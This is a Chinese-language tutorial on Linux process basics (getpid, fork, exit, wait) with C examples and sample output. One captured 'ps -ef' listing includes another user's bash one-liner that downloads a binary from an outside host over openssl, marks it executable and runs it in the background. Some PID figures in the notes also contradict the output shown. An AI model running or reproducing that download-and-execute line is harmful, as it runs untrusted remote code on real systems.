程序間通訊 - 快速指南
程序間通訊 - 概述
程序間通訊 (IPC) 是一種涉及一個程序與另一個程序通訊的機制。這通常只發生在一個系統中。
通訊可以分為兩種型別:
在相關程序之間,僅由一個程序發起,例如父程序和子程序。
在不相關程序之間,或兩個或多個不同的程序之間。
在繼續學習本主題之前,我們需要了解一些重要的術語。
管道 - 兩個相關程序之間的通訊。該機制是半雙工的,這意味著第一個程序與第二個程序通訊。要實現全雙工,即第二個程序與第一個程序通訊,需要另一個管道。
FIFO - 兩個不相關程序之間的通訊。FIFO 是全雙工的,這意味著第一個程序可以與第二個程序通訊,反之亦然,並且同時進行。
訊息佇列 - 兩個或多個具有全雙工能力的程序之間的通訊。程序將透過釋出訊息並從佇列中檢索訊息來相互通訊。一旦檢索,訊息將不再在佇列中可用。
共享記憶體 - 兩個或多個程序之間的通訊是透過所有程序之間共享的一塊記憶體來實現的。共享記憶體需要透過同步對所有程序的訪問來相互保護。
訊號量 - 訊號量用於同步對多個程序的訪問。當一個程序想要訪問記憶體(讀取或寫入)時,它需要被鎖定(或保護),並在訪問移除時釋放。所有程序都需要重複此操作以確保資料安全。
訊號 - 訊號是一種透過訊號方式在多個程序之間通訊的機制。這意味著源程序將傳送一個訊號(由數字識別),目標程序將相應地處理它。
注意 - 本教程中幾乎所有程式都基於 Linux 作業系統下的系統呼叫(在 Ubuntu 中執行)。
程序資訊
在我們深入瞭解程序資訊之前,我們需要了解一些事情,例如:
什麼是程序?程序是正在執行的程式。
什麼是程式?程式是一個檔案,其中包含程序的資訊以及如何在執行時構建它。當您開始執行程式時,它會被載入到 RAM 中並開始執行。
每個程序都由一個唯一的正整數標識,稱為程序 ID 或簡稱 PID(程序標識號)。核心通常將程序 ID 限制為 32767,這是可配置的。當程序 ID 達到此限制時,它將重置,這在系統程序範圍之後。然後,從該計數器中未使用的程序 ID 將分配給新建立的程序。
系統呼叫 getpid() 返回呼叫程序的程序 ID。
#include <sys/types.h> #include <unistd.h> pid_t getpid(void);
此呼叫返回呼叫程序的程序 ID,該 ID 保證是唯一的。此呼叫始終成功,因此沒有返回值來指示錯誤。
每個程序都有其唯一的 ID,稱為程序 ID,這很好,但誰建立了它?如何獲取有關其建立者的資訊?建立者程序稱為父程序。父 ID 或 PPID 可以透過 getppid() 呼叫獲得。
系統呼叫 getppid() 返回呼叫程序的父 PID。
#include <sys/types.h> #include <unistd.h> pid_t getppid(void);
此呼叫返回呼叫程序的父程序 ID。此呼叫始終成功,因此沒有返回值來指示錯誤。
讓我們用一個簡單的例子來理解這一點。
以下是一個程式,用於瞭解呼叫程序的 PID 和 PPID。
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
在編譯和執行上述程式後,輸出將如下所示。
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
注意 - “C” 庫函式 system() 執行 shell 命令。傳遞給 system() 的引數是在 shell 上執行的命令。在上述程式中,命令是“ps”,它提供程序狀態。
有關所有正在執行的程序和其他系統相關資訊的完整資訊可從 /proc 位置提供的 proc 檔案系統訪問。
程序映像
現在我們已經瞭解瞭如何獲取程序及其父程序的基本資訊,現在是時候深入瞭解程序/程式資訊的詳細資訊了。
程序映像到底是什麼?程序映像是執行程式時所需的執行檔案。此映像通常包含以下部分:
- 程式碼段或文字段
- 資料段
- 棧段
- 堆段
以下是程序映像的圖形表示。
程式碼段是目標檔案或程式虛擬地址空間的一部分,包含可執行指令。這通常是隻讀資料段,並且具有固定大小。
資料段有兩種型別。
- 已初始化
- 未初始化
已初始化資料段是目標檔案或程式虛擬地址空間的一部分,包含已初始化的靜態和全域性變數。
未初始化資料段是目標檔案或程式虛擬地址空間的一部分,包含未初始化的靜態和全域性變數。未初始化資料段也稱為 BSS(以符號開頭塊)段。
資料段是讀寫的,因為變數的值可以在執行時更改。此段也具有固定大小。
棧段是為自動變數和函式引數分配的記憶體區域。它還在執行函式呼叫時儲存返回地址。棧使用 LIFO(後進先出)機制來儲存區域性或自動變數、函式引數和儲存下一個地址或返回地址。返回地址是指函式執行完成後返回的地址。此段大小根據區域性變數、函式引數和函式呼叫而變化。此段從較高地址增長到較低地址。
堆段是為動態記憶體儲存分配的記憶體區域,例如用於 malloc() 和 calloc() 呼叫。此段大小也根據使用者分配而變化。此段從較低地址增長到較高地址。
現在讓我們檢查一下段(資料和 bss 段)的大小如何隨一些示例程式而變化。段大小可以透過執行命令“size”來得知。
初始程式
檔案:segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
在以下程式中,添加了一個未初始化的靜態變數。這意味著未初始化段 (BSS) 大小將增加 4 個位元組。注意 - 在 Linux 作業系統中,int 的大小為 4 個位元組。整數資料型別的尺寸取決於編譯器和作業系統的支援。
檔案:segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
在以下程式中,添加了一個已初始化的靜態變數。這意味著已初始化段 (DATA) 大小將增加 4 個位元組。
檔案:segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
在以下程式中,添加了一個已初始化的全域性變數。這意味著已初始化段 (DATA) 大小將增加 4 個位元組。
檔案:segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
在以下程式中,添加了一個未初始化的全域性變數。這意味著未初始化段 (BSS) 大小將增加 4 個位元組。
檔案:segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
執行步驟
編譯
babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
執行/輸出
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5 text data bss dec hex filename 878 252 8 1138 472 segment_size1 878 252 12 1142 476 segment_size2 878 256 12 1146 47a segment_size3 878 260 12 1150 47e segment_size4 878 260 16 1154 482 segment_size5 babukrishnam
程序建立與終止
到目前為止,我們知道每當我們執行一個程式時,就會建立一個程序,並在執行完成後終止。如果我們需要在程式中建立程序,並且可能希望為它安排不同的任務呢?這可以實現嗎?是的,當然可以透過程序建立來實現。當然,在工作完成後,它將自動終止,或者您可以根據需要終止它。
程序建立是透過fork() 系統呼叫實現的。新建立的程序稱為子程序,而啟動它的程序(或開始執行時的程序)稱為父程序。在 fork() 系統呼叫之後,現在我們有兩個程序 - 父程序和子程序。如何區分它們?很簡單,透過它們的返回值。
在建立子程序後,讓我們看看 fork() 系統呼叫的詳細資訊。
#include <sys/types.h> #include <unistd.h> pid_t fork(void);
建立子程序。在此呼叫之後,存在兩個程序,現有的程序稱為父程序,新建立的程序稱為子程序。
fork() 系統呼叫返回以下三個值中的一個:
負值表示錯誤,即建立子程序失敗。
對於子程序返回零。
對於父程序返回正值。此值是新建立的子程序的程序 ID。
讓我們考慮一個簡單的程式。
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
執行步驟
編譯
gcc basicfork.c -o basicfork
執行/輸出
Called fork() system call Called fork() system call
注意 - 通常在 fork() 呼叫之後,子程序和父程序將執行不同的任務。如果需要執行相同的任務,那麼對於每個 fork() 呼叫,它將執行 2 的 n 次方倍,其中n 是呼叫 fork() 的次數。
在上述情況下,fork() 被呼叫了一次,因此輸出列印了兩次(2 的 1 次方)。如果 fork() 被呼叫,例如 3 次,則輸出將列印 8 次(2 的 3 次方)。如果它被呼叫 5 次,則它列印 32 次,依此類推。
在瞭解了 fork() 如何建立子程序後,現在是時候瞭解父程序和子程序的詳細資訊了。
檔名:pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
編譯和執行步驟
Before fork: Process id is 166629 This is child process Process id is 166630 and PPID is 166629 Before fork: Process id is 166629 This is parent process Process id is 166629 and PPID is 166628 Newly created process id or child pid is 166630
程序可以透過以下兩種方式之一終止:
異常,發生在傳遞某些訊號時,例如終止訊號。
正常,使用 _exit() 系統呼叫(或 _Exit() 系統呼叫)或 exit() 庫函式。
_exit() 和 exit() 之間的區別主要是清理活動。exit() 在將控制權返回給核心之前執行一些清理操作,而_exit()(或 _Exit())將立即將控制權返回給核心。
考慮以下使用 exit() 的示例程式。
檔名:atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
編譯和執行步驟
Hello, World! Called cleanup function - exitfunc()
考慮以下使用 _exit() 的示例程式。
檔名:at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
編譯和執行步驟
Hello, World!
子程序監控
正如我們所看到的,每當我們使用 fork 建立一個子程序時,會發生以下情況:
- 當前程序現在成為父程序
- 新程序成為子程序
如果父程序比子程序先完成其任務並退出會發生什麼?現在誰將成為子程序的父程序?子程序的父程序是 init 程序,它是啟動所有任務的第一個程序。
為了監控子程序的執行狀態,檢查子程序是否正在執行或已停止,或者檢查執行狀態等,可以使用wait()系統呼叫及其變體。
讓我們考慮一個示例程式,其中父程序不等待子程序,這會導致init程序成為子程序的新父程序。
檔名:parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
編譯和執行步驟
UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 163891 0 0 05:41 ? 00:00:00 main 8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main 8023807 164137 164136 0 05:41 ? 00:00:00 main 8023807 164138 164137 0 05:41 ? 00:00:00 main 8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 164138 0 0 05:41 ? 00:00:00 main 8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
注意 - 請注意,父程序PID為94,子程序PID為95。父程序退出後,子程序的PPID從94更改為1(init程序)。
以下是監控子程序的系統呼叫的變體 -
- wait()
- waitpid()
- waitid()
wait()系統呼叫將等待其中一個子程序終止,並在緩衝區中返回其終止狀態,如下所述。
#include <sys/types.h> #include <sys/wait.h> pid_t wait(int *status);
此呼叫在成功時返回終止子程序的程序ID,在失敗時返回-1。wait()系統呼叫掛起當前程序的執行,並無限期地等待,直到其子程序之一終止。來自子程序的終止狀態可在status中獲得。
讓我們修改之前的程式,以便父程序現在等待子程序。
/* 檔名:parentprocess_waits.c */
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
編譯和執行步驟
UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main 8023807 191769 191768 0 05:47 ? 00:00:00 main 8023807 191770 191769 0 05:47 ? 00:00:00 main 8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main 8023807 192200 192199 0 05:47 ? 00:00:00 main 8023807 192201 192200 0 05:47 ? 00:00:00 main 8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
注意 - 即使子程序返回退出狀態3,為什麼父程序將其視為768。狀態儲存在高位位元組中,因此以十六進位制格式儲存為0X0300,在十進位制中為768。正常終止如下
| 高位位元組(位8到15) | 低位位元組(位0到7) |
| 退出狀態(0到255) | 0 |
wait()系統呼叫有一些限制,例如它只能等到下一個子程序退出。如果我們需要等待特定的子程序,則無法使用wait(),但是,可以使用waitpid()系統呼叫。
waitpid()系統呼叫將等待指定的子程序終止,並在緩衝區中返回其終止狀態,如下所述。
#include <sys/types.h> #include <sys/wait.h> pid_t waitpid(pid_t pid, int *status, int options);
